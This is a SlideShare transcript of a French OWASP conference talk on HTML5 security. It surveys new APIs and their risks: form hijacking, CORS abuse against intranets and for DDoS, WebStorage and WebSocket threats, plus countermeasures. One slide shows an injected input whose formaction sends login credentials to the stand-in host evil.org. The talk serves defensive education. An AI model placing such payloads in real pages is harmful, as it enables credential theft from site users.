0
et	  la	  sécurité                                                             un	  point	  d’étape              Sébas3en	...
http://www.google.fr/#q=sebastien gioria           ‣Consultant Indépendant en Sécurité Applicative          ‣OWASP France ...
Agenda               • Un	  peu	  d’histoire               • HTML5	  pour	  les	  nuls	  en	  4mn	  2s               • Nou...
Delorean	  Passion    1993                                                                  1995        1998        2000  ...
Delorean	  Passion    1993                                                                  1995        1998        2000  ...
Delorean	  Passion    1993                                                                  1995        1998        2000  ...
L’état	  de	  la	  norme  par	  contre	  il	  y	  a	  d’autres	  animaux...                                               ...
Eléments	  intéressants	  de	  HTML5  mais	  pas	  dans	  ce	  slide                                                      ...
4mn	  2s                                  • Nouvelles	  balises                                    – On	  n’est	  pas	  la...
4mn	  2s                                • WebSocket : Permet d’effectuer des                                  connexions p...
4mn	  2s                                • WebMessaging : communication inter-                                  documents H...
4mn	  2s              • IndexedDB; la Web SQL Database...                           •API	  synchrone	  et	  asynchrone    ...
4mn	  2s               • Offline Web Applications: possibilité d’exécuter                 tout ou partie des applications m...
4mn	  2s                      • WebStorage : donne la capacité au                        navigateur de stocker jusqu’a 5Mo...
Sécurité	  ?                                      13Friday, April 5, 13
Modèle	  de	  sécurité	  HTML5                            Interface	  U>lisateur                      Sandbox/SOP         ...
Modèle	  de	  sécurité	  HTML5                            Interface	  U>lisateur                      Sandbox/SOP         ...
Modèle	  de	  sécurité	  HTML5                            Interface	  U>lisateur                      Sandbox/SOP         ...
Modèle	  de	  sécurité	  HTML5                                  Interface	  U>lisateur                        Sandbox/SOP ...
Modèle	  de	  sécurité	  HTML5                                  Interface	  U>lisateur                        Sandbox/SOP ...
Modèle	  de	  sécurité	  HTML5                                  Interface	  U>lisateur                        Sandbox/SOP ...
FalsificaBon	  de	  Forms         • Il	  est	  possible	  de	  contrôler	  une	  Forms	  en	  dehors	             de	  l’él...
FalsificaBon	  Forms                      <form id=“login” action=“login.php” >                        <input type=“text” n...
FalsificaBon	  Forms                      <form id=“login” action=“login.php” >                        <input type=“text” n...
FalsificaBon	  Forms                      <form id=“login” action=“login.php” >                        <input type=“text” n...
FalsificaBon	  Forms                      <form id=“login” action=“login.php” >                        <input type=“text” n...
FalsificaBon	  Forms                      <form id=“login” action=“login.php” >                        <input type=“text” n...
Protocol/content	  Handlers                      • Il	  est	  possible	  d’enregistrer	  des	  handlers	  de	             ...
Cross	  Origin	  Resource	  Sharing	  1/4                                      • XHR	  ne	  peut	  dialoguer	  qu’avec	  l...
Cross	  Origin	  Resource	  Sharing	  1/4                                      • XHR	  ne	  peut	  dialoguer	  qu’avec	  l...
Cross	  Origin	  Resource	  Sharing	  1/4                                      • XHR	  ne	  peut	  dialoguer	  qu’avec	  l...
Cross	  Origin	  Resource	  Sharing	  1/4                                      • XHR	  ne	  peut	  dialoguer	  qu’avec	  l...
Cross	  Origin	  Resource	  Sharing	  2/4                      Bypass	  des	  contrôles	  d’accès                         ...
Cross	  Origin	  Resource	  Sharing	  2/4                      Bypass	  des	  contrôles	  d’accès                         ...
Cross	  Origin	  Resource	  Sharing	  2/4                      Bypass	  des	  contrôles	  d’accès                         ...
Cross	  Origin	  Resource	  Sharing	  2/4                      Bypass	  des	  contrôles	  d’accès                         ...
Cross	  Origin	  Resource	  Sharing	  2/4                      Bypass	  des	  contrôles	  d’accès                         ...
Cross	  Origin	  Resource	  Sharing	  2/4                                         Bypass	  des	  contrôles	  d’accès      ...
Cross	  Origin	  Resource	  Sharing	  2/4                                         Bypass	  des	  contrôles	  d’accès      ...
Cross	  Origin	  Resource	  Sharing	  2/4                                                                         Bypass	 ...
Cross	  Origin	  Resource	  Sharing	  2/4                                                                         Bypass	 ...
Cross	  Origin	  Resource	  Sharing	  2/4                      Bypass	  des	  contrôles	  d’accès                         ...
Cross	  Origin	  Resource	  Sharing	  2/4                      Bypass	  des	  contrôles	  d’accès                         ...
Cross	  Origin	  Resource	  Sharing	  2/4                      Bypass	  des	  contrôles	  d’accès                         ...
Cross	  Origin	  Resource	  Sharing	  2/4                      Bypass	  des	  contrôles	  d’accès                         ...
Cross	  Origin	  Resource	  Sharing	  2/4                      Bypass	  des	  contrôles	  d’accès                         ...
Cross	  Origin	  Resource	  Sharing	  2/4                      Bypass	  des	  contrôles	  d’accès                         ...
Cross	  Origin	  Resource	  Sharing	  2/4                      Bypass	  des	  contrôles	  d’accès                         ...
Cross	  Origin	  Resource	  Sharing	  2/4                                Bypass	  des	  contrôles	  d’accès               ...
Cross	  Origin	  Resource	  Sharing	  2/4                                Bypass	  des	  contrôles	  d’accès               ...
Cross	  Origin	  Resource	  Sharing	  2/4                      Bypass	  des	  contrôles	  d’accès                         ...
Cross	  Origin	  Resource	  Sharing	  2/4                                                                Bypass	  des	  co...
Cross	  Origin	  Resource	  Sharing	  2/4                                                                Bypass	  des	  co...
Cross	  Origin	  Resource	  Sharing	  2/4                                                                Bypass	  des	  co...
Cross	  Origin	  Resource	  Sharing	  2/4                                                                Bypass	  des	  co...
Cross	  Origin	  Resource	  Sharing	  2/4                      Bypass	  des	  contrôles	  d’accès                         ...
Cross	  Origin	  Resource	  Sharing	  2/4                      Bypass	  des	  contrôles	  d’accès                         ...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                  p...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                  p...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                  p...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                  p...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                  p...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                   ...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                   ...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                  p...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                  p...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                  p...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                  p...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                  p...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                  p...
Cross	  Origin	  Resource	  Sharing	  3/4                                          DDOS	  ?                               ...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                  p...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                  p...
Cross	  Origin	  Resource	  Sharing	  3/4                                               DDOS	  ?                          ...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                  p...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                  p...
Cross	  Origin	  Resource	  Sharing	  3/4                                               DDOS	  ?                          ...
Cross	  Origin	  Resource	  Sharing	  3/4                      DDOS	  ?                                                  p...
Cross	  Origin	  Resource	                 • Contre-­‐mesures	  :	                                • RestricBon	  du	  doma...
Cross	  Origin	  Resource	                 • Contre-­‐mesures	  :	                                • RestricBon	  du	  doma...
Cross	  Origin	  Resource	                 • Contre-­‐mesures	  :	                                • RestricBon	  du	  doma...
Cross	  Origin	  Resource	                 • Contre-­‐mesures	  :	                                • RestricBon	  du	  doma...
Cross	  Origin	  Resource	                 • Contre-­‐mesures	  :	                                • RestricBon	  du	  doma...
WebStorage         • Pas	  de	  contrôle	  de	  la	  part	  de	  l’u>lisateur	  sur	  ce	             qui	  est	  stocké/a...
All	  you	  disk	  is	  belong	  to	  US	  ?  bon,	  oui,	  la	  vidéo	  a	  été	  faite	  hier...mais	  c’etait	  pour	  ...
All	  you	  disk	  is	  belong	  to	  US	  ?                • Par	  défaut	  WebStorage	  limite	  a	  quelques	  méga	   ...
All	  you	  disk	  is	  belong	  to	  US	  ?                • Par	  défaut	  WebStorage	  limite	  a	  quelques	  méga	   ...
All	  you	  disk	  is	  belong	  to	  US	  ?                • Par	  défaut	  WebStorage	  limite	  a	  quelques	  méga	   ...
All	  you	  disk	  is	  belong	  to	  US	  ?                • Par	  défaut	  WebStorage	  limite	  a	  quelques	  méga	   ...
All	  you	  disk	  is	  belong	  to	  US	  ?                • Par	  défaut	  WebStorage	  limite	  a	  quelques	  méga	   ...
WebStorage                                • Tracking	  User                                                               ...
WebStorage                                • Tracking	  User                                                               ...
WebStorage                                • Tracking	  User                                                               ...
WebSocket	  API	  :)                                  • Possible	  entre	  différents	  domaines                           ...
WebSocket	  API	  :)                                  • Possible	  entre	  différents	  domaines                           ...
WebSocket	  API	  :)                                  • Possible	  entre	  différents	  domaines                           ...
WebSocket	  API	  :)                                  • Possible	  entre	  différents	  domaines                           ...
WebSocket	  API	  :)                                  • Possible	  entre	  différents	  domaines                           ...
WebSocket	  API	  :)                                  • Possible	  entre	  différents	  domaines                           ...
WebSocket	  API	  :)                                  • Possible	  entre	  différents	  domaines                           ...
WebSocket	  API	  :)                                  • Possible	  entre	  différents	  domaines                           ...
WebSocket	  API	  :)                                  • Possible	  entre	  différents	  domaines                           ...
WebSocket	  API	  :)                                  • Possible	  entre	  différents	  domaines                           ...
WebSocket	  API	  :)                                  • Possible	  entre	  différents	  domaines                           ...
WebSocket	  API	  :)                                  • Possible	  entre	  différents	  domaines                           ...
WebSocket	  API	  :)                                  • Possible	  entre	  différents	  domaines                           ...
WebSocket	  API	  :)                                  • Possible	  entre	  différents	  domaines                           ...
Websocket	  Menaces                      • Parmi	  les	  a;aques	  possibles,	  certaines	  sont	                         ...
WebSocket                                   • Empoisonnement	  dransparent de	  proxy                                     ...
WebSocket                                   • Empoisonnement	  dransparent de	  proxy                                     ...
WebSocket                                   • Empoisonnement	  dransparent de	  proxy                                     ...
WebSocket                                   • Empoisonnement	  dransparent de	  proxy                                     ...
WebSocket                                   • Empoisonnement	  dransparent de	  proxy                                     ...
WebSocket                                   • Empoisonnement	  dransparent de	  proxy                                     ...
WebSocket                                   • Empoisonnement	  dransparent de	  proxy                                     ...
WebSocket                                   • Empoisonnement	  dransparent de	  proxy                                     ...
WebSocket                                   • Empoisonnement	  dransparent de	  proxy                                     ...
WebSocket                                   • Empoisonnement	  dransparent de	  proxy                                     ...
WebSocket                                   • Empoisonnement	  dransparent de	  proxy                                     ...
WebSocket                                   • Empoisonnement	  dransparent de	  proxy                                     ...
WebSocket                                   • Empoisonnement	  dransparent de	  proxy                                     ...
WebSocket                                   • Empoisonnement	  dransparent de	  proxy                                     ...
WebSocket                                   • Empoisonnement	  dransparent de	  proxy                                     ...
WebSocket                                   • Empoisonnement	  dransparent de	  proxy                                     ...
OffLine	  Web	  ApplicaBon                                             <!DOCTYPE HTML>                                     ...
WebMessage                      • Possibilité	  de	  perte	  de	  données	  sensibles	  (si	                          envo...
Bac	  a	  sable	  des	  iframes                                               <iframe sandbox="....."                     ...
Bac	  a	  sable	  des	  iframes                                     • Lever	  les	  restric>ons	  :	                      ...
Autres	  points	  importants                        • Les	  longs	  traitements	  en	  JavaScript	  “plantaient”	  les	  n...
Autres	  points	  importants                        • Les	  longs	  traitements	  en	  JavaScript	  “plantaient”	  les	  n...
Autres	  Points	  importants              • CSS3	  introduit	  de	  nouvelles	  capacités	  à	  injecter	                 ...
Conclusion                    • Plein	  de	  nouvelles	  API	  interessantes	  pour	  le	                        développe...
ww.html5test.com  étonnant	  le	  cas	  du	  Blackberry	  non	  ?	                                                        ...
ww.html5test.com  étonnant	  le	  cas	  du	  Blackberry	  non	  ?	                                                        ...
ww.html5test.com  étonnant	  le	  cas	  du	  Blackberry	  non	  ?	                                                        ...
2013 04-04-html5-security-v2
2013 04-04-html5-security-v2
2013 04-04-html5-security-v2
2013 04-04-html5-security-v2
2013 04-04-html5-security-v2
2013 04-04-html5-security-v2
2013 04-04-html5-security-v2
Upcoming SlideShare
Loading in...5
×

2013 04-04-html5-security-v2

1,495

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
1,495
On Slideshare
0
From Embeds
0
Number of Embeds
6
Actions
Shares
0
Downloads
52
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Transcript of "2013 04-04-html5-security-v2"

  1. 1. et  la  sécurité un  point  d’étape Sébas3en  Gioria OWASP  France  Leader   GSDays  -­‐  4  Avril  2013  -­‐  Paris  -­‐    FranceFriday, April 5, 13
  2. 2. http://www.google.fr/#q=sebastien gioria ‣Consultant Indépendant en Sécurité Applicative ‣OWASP France Leader & Founder - Evangéliste ‣OWASP Global Education Comittee Member (sebastien.gioria@owasp.org) Twitter :@SPointFriday, April 5, 13 2
  3. 3. Agenda • Un  peu  d’histoire • HTML5  pour  les  nuls  en  4mn  2s • Nouvelles  a;aques  et  protec>ons  ? • Références Oui,  vous  avez  bien  lu  quelque  chose  ici 3Friday, April 5, 13
  4. 4. Delorean  Passion 1993 1995 1998 2000 2006 2013 HTML  4.0 HTML  5  ? HTML  2.0 CSS  2 CSS  3 HTML  1.0 JavaScript la  DOM XmlH;pRequest Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on 4Friday, April 5, 13
  5. 5. Delorean  Passion 1993 1995 1998 2000 2006 2013 HTML  4.0 HTML  5  ? HTML  2.0 CSS  2 CSS  3 HTML  1.0 JavaScript la  DOM XmlH;pRequest Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on 4Friday, April 5, 13
  6. 6. Delorean  Passion 1993 1995 1998 2000 2006 2013 HTML  4.0 HTML  5  ? HTML  2.0 CSS  2 CSS  3 HTML  1.0 JavaScript la  DOM XmlH;pRequest 20  ans,  noces  de  porcelaine... Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on 4Friday, April 5, 13
  7. 7. L’état  de  la  norme par  contre  il  y  a  d’autres  animaux... 5Friday, April 5, 13
  8. 8. Eléments  intéressants  de  HTML5 mais  pas  dans  ce  slide 6Friday, April 5, 13
  9. 9. 4mn  2s • Nouvelles  balises – On  n’est  pas  la  pour  parler  de  peinture... • Nouvelles  APIs –WebSocket –WebMessaging –IndexedDB –OffLine  Web  ApplicaBon –WebStorage  (votre  nouveau  DropBox  ?  ...) –Cross  Origin  Ressource  Sharing  (déja  rien  que  le  nom   est  intéressant...) Ni  dans  celui  la.... 7Friday, April 5, 13
  10. 10. 4mn  2s • WebSocket : Permet d’effectuer des connexions persistantes et bi- directionnelles • mécanisme  de  “Push”  possible • interface  en  cours  de  finalisaBon/spécificaBons • nécessite  un  serveur  “compaBble” • API  minimaliste  (send,  receive  via  event) • hPp://www.w3.org/TR/websockets/ en  meme  temps,  des  animaux  dans  ce;e  présenta>on  pourquoi  ?   8Friday, April 5, 13
  11. 11. 4mn  2s • WebMessaging : communication inter- documents HTML • via  la  méthode  window.postMessage(); • pas  de  garanBe  de  contenu  inoffensif  (ie;  pas  de   filtre  de  type  anB-­‐XSS  ....) • vérificaBon  de  l’origine  a  la  charge  de   l’applicaBon  receptrice. • il  est  possible  de  transporter  du  JSON  :) • hPp://www.w3.org/TR/webmessaging/ tout  seimplement  parcequ’elle  a  été  finalisée  à  Paques 9Friday, April 5, 13
  12. 12. 4mn  2s • IndexedDB; la Web SQL Database... •API  synchrone  et  asynchrone •pensée  pour  JavaScript;  stockage  d’objets   •hPp://www.w3.org/TR/IndexedDB/ me;re  des  oeufs  était  difficile 10Friday, April 5, 13
  13. 13. 4mn  2s • Offline Web Applications: possibilité d’exécuter tout ou partie des applications même non connecté. –via  navigator.onLine –mise  en  cache  des  données  nécessaires(HTML,  CSS,   JavaScript...) –hPp://www.w3.org/TR/html5/offline.html et  du  chocolat  aussi 11Friday, April 5, 13
  14. 14. 4mn  2s • WebStorage : donne la capacité au navigateur de stocker jusqu’a 5Mo à 10Mo de données • deux  type  de  stockage  :  local  ou  de  session • possibilité  de  stocker  des  objets  JSON • possibilité  de  stocker  de  manière  régulière • hPp://www.w3.org/TR/webstorage/ 12Friday, April 5, 13
  15. 15. Sécurité  ? 13Friday, April 5, 13
  16. 16. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM 14Friday, April 5, 13
  17. 17. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM 14Friday, April 5, 13
  18. 18. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM 14Friday, April 5, 13
  19. 19. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM APIs  Stockage   (Web,  SQL,  ..) 14Friday, April 5, 13
  20. 20. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM APIs  Stockage   API  GeoLoc (Web,  SQL,  ..) 14Friday, April 5, 13
  21. 21. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM APIs  Stockage   API  GeoLoc API  ... (Web,  SQL,  ..) 14Friday, April 5, 13
  22. 22. FalsificaBon  de  Forms • Il  est  possible  de  contrôler  une  Forms  en  dehors   de  l’élément  “form” <form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” /> </form> <input form=“myform” type=“submit” name=“…” value=“Advanced Version”/> 15Friday, April 5, 13
  23. 23. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> 16Friday, April 5, 13
  24. 24. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si  on  arrive  à  injecter  ce  code 16Friday, April 5, 13
  25. 25. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si  on  arrive  à  injecter  ce  code New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> 16Friday, April 5, 13
  26. 26. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si  on  arrive  à  injecter  ce  code New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> 16Friday, April 5, 13
  27. 27. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si  on  arrive  à  injecter  ce  code New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> Automa3quement,  evil.org  dispose  des  éléments  et  la  Forms   ini3ale  est  appelée 16Friday, April 5, 13
  28. 28. Protocol/content  Handlers • Il  est  possible  d’enregistrer  des  handlers  de   protocole  ou  de  type  de  fichiers   personalisés   • sms:// • applica>on/pdf Il  est  possible  (mais  pas  recommandé)  de  changer   les  handlers  standards  (dépend  des  navigateurs) Il  n’est  pas  obligatoire  de  demander  à  l’u3lisateur   son  autorisa3on   17Friday, April 5, 13
  29. 29. Cross  Origin  Resource  Sharing  1/4 • XHR  ne  peut  dialoguer  qu’avec  le  site  Web   originaire  du  JavaScript non,  vous  avez  bien  lu...Un  boeuf  !   18Friday, April 5, 13
  30. 30. Cross  Origin  Resource  Sharing  1/4 • XHR  ne  peut  dialoguer  qu’avec  le  site  Web   originaire  du  JavaScript non,  vous  avez  bien  lu...Un  boeuf  !   18Friday, April 5, 13
  31. 31. Cross  Origin  Resource  Sharing  1/4 • XHR  ne  peut  dialoguer  qu’avec  le  site  Web   originaire  du  JavaScript Mais  c’etait  sans  compter  les  boeufs  ! non,  vous  avez  bien  lu...Un  boeuf  !   18Friday, April 5, 13
  32. 32. Cross  Origin  Resource  Sharing  1/4 • XHR  ne  peut  dialoguer  qu’avec  le  site  Web   originaire  du  JavaScript Mais  c’etait  sans  compter  les  boeufs  ! HTTP/1.1 200 OK Content-Type: text/html Access-Control-Allow-Origin: http://internal.example.com non,  vous  avez  bien  lu...Un  boeuf  !   18Friday, April 5, 13
  33. 33. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  34. 34. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  35. 35. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  36. 36. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  37. 37. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  38. 38. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr GET  /  HTTP/1.1 intranet 19Friday, April 5, 13
  39. 39. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr GET  /  HTTP/1.1 intranet 19Friday, April 5, 13
  40. 40. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * GET  /  HTTP/1.1 HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  41. 41. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * GET  /  HTTP/1.1 HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  42. 42. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  43. 43. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr  GET  /  HTTP/1.1   intranet 19Friday, April 5, 13
  44. 44. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr  GET  /  HTTP/1.1   intranet 19Friday, April 5, 13
  45. 45. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  46. 46. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr HTTP/1.1  200  Ok <script>XMLH;pRequest... intranet 19Friday, April 5, 13
  47. 47. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr HTTP/1.1  200  Ok <script>XMLH;pRequest... intranet 19Friday, April 5, 13
  48. 48. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  49. 49. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr XMLHTTPRequest intranet 19Friday, April 5, 13
  50. 50. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr XMLHTTPRequest intranet 19Friday, April 5, 13
  51. 51. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  52. 52. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  53. 53. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  54. 54. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  55. 55. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  56. 56. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  57. 57. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr POST  /endpoint  HTTP/1.1 .....(contenu  de  la  page  interne) intranet 19Friday, April 5, 13
  58. 58. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  59. 59. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  60. 60. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  61. 61. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  62. 62. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  63. 63. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr  GET  /  HTTP/1.1   www.cible.com 20Friday, April 5, 13
  64. 64. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr  GET  /  HTTP/1.1   www.cible.com 20Friday, April 5, 13
  65. 65. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  66. 66. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr HTTP/1.1  200  Ok <iframe  src=... www.cible.com 20Friday, April 5, 13
  67. 67. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  68. 68. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  69. 69. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  70. 70. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  71. 71. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr XML H;p Req uest www.cible.com 20Friday, April 5, 13
  72. 72. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  73. 73. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  74. 74. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr XML H;p www.cible.com Req uest 20Friday, April 5, 13
  75. 75. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  76. 76. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  77. 77. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com XML H;p Req uest 20Friday, April 5, 13
  78. 78. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  79. 79. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21Friday, April 5, 13
  80. 80. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21Friday, April 5, 13
  81. 81. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   pour  les  DDOS franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21Friday, April 5, 13
  82. 82. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   pour  les  DDOS franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21Friday, April 5, 13
  83. 83. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   pour  les  DDOS débrancher  le  cable.... franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21Friday, April 5, 13
